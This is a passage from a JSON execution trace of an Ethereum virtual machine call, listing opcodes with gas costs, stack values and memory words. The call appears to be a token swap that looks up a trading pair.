b2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12449,"op":"GAS","gas":78509,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x44","0x384","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12450,"op":"STATICCALL","gas":78507,"gasCost":77282,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x44","0x384","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x132ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":77182,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":77179,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":77176,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":77164,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":77162,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":77159,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":77156,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":77153,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":77143,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":77142,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":77140,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":77137,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":77135,"gasCost":3,"depth":2,"stack":["0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":77132,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":77129,"gasCost":10,"depth":2,"stack":["0x0","0xbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":77119,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":77116,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":77113,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":77110,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":77107,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":77104,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":77101,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":77098,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":77095,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x76"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":77085,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":77082,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":77079,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":77076,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":77073,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x5b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":54,"op":"DUP1","gas":77063,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":55,"op":"PUSH4","gas":77060,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":60,"op":"EQ","gas":77057,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":61,"op":"PUSH2","gas":77054,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":64,"op":"JUMPI","gas":77051,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x185"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":65,"op":"DUP1","gas":77041,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":66,"op":"PUSH4","gas":77038,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":71,"op":"EQ","gas":77035,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc9c65396"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":72,"op":"PUSH2","gas":77032,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":75,"op":"JUMPI","gas":77029,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x198"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":76,"op":"DUP1","gas":77019,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":77,"op":"PUSH4","gas":77016,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":82,"op":"EQ","gas":77013,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":83,"op":"PUSH2","gas":77010,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":86,"op":"JUMPI","gas":77007,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x1","0x1ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":427,"op":"JUMPDEST","gas":76997,"gasCost":1,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":428,"op":"PUSH2","gas":76996,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":431,"op":"PUSH2","gas":76993,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":434,"op":"CALLDATASIZE","gas":76990,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":435,"op":"PUSH1","gas":76988,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":437,"op":"PUSH2","gas":76985,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"JUMP","gas":76982,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x6ea"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1770,"op":"JUMPDEST","gas":76974,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1771,"op":"PUSH1","gas":76973,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1773,"op":"DUP1","gas":76970,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1774,"op":"PUSH1","gas":76967,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1776,"op":"DUP4","gas":76964,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1777,"op":"DUP6","gas":76961,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1778,"op":"SUB","gas":76958,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1779,"op":"SLT","gas":76955,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1780,"op":"ISZERO","gas":76952,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1781,"op":"PUSH2","gas":76949,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1784,"op":"JUMPI","gas":76946,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1","0x6fd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1789,"op":"JUMPDEST","gas":76936,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1790,"op":"PUSH2","gas":76935,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1793,"op":"DUP4","gas":76932,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1794,"op":"PUSH2","gas":76929,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1797,"op":"JUMP","gas":76926,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":76918,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":76917,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":76914,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":76911,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":76908,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":76905,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":76902,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":76899,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1753,"op":"DUP2","gas":76896,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1754,"op":"AND","gas":76893,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1755,"op":"DUP2","gas":76890,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1756,"op":"EQ","gas":76887,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1757,"op":"PUSH2","gas":76884,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1760,"op":"JUMPI","gas":76881,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x6e5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1765,"op":"JUMPDEST","gas":76871,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1766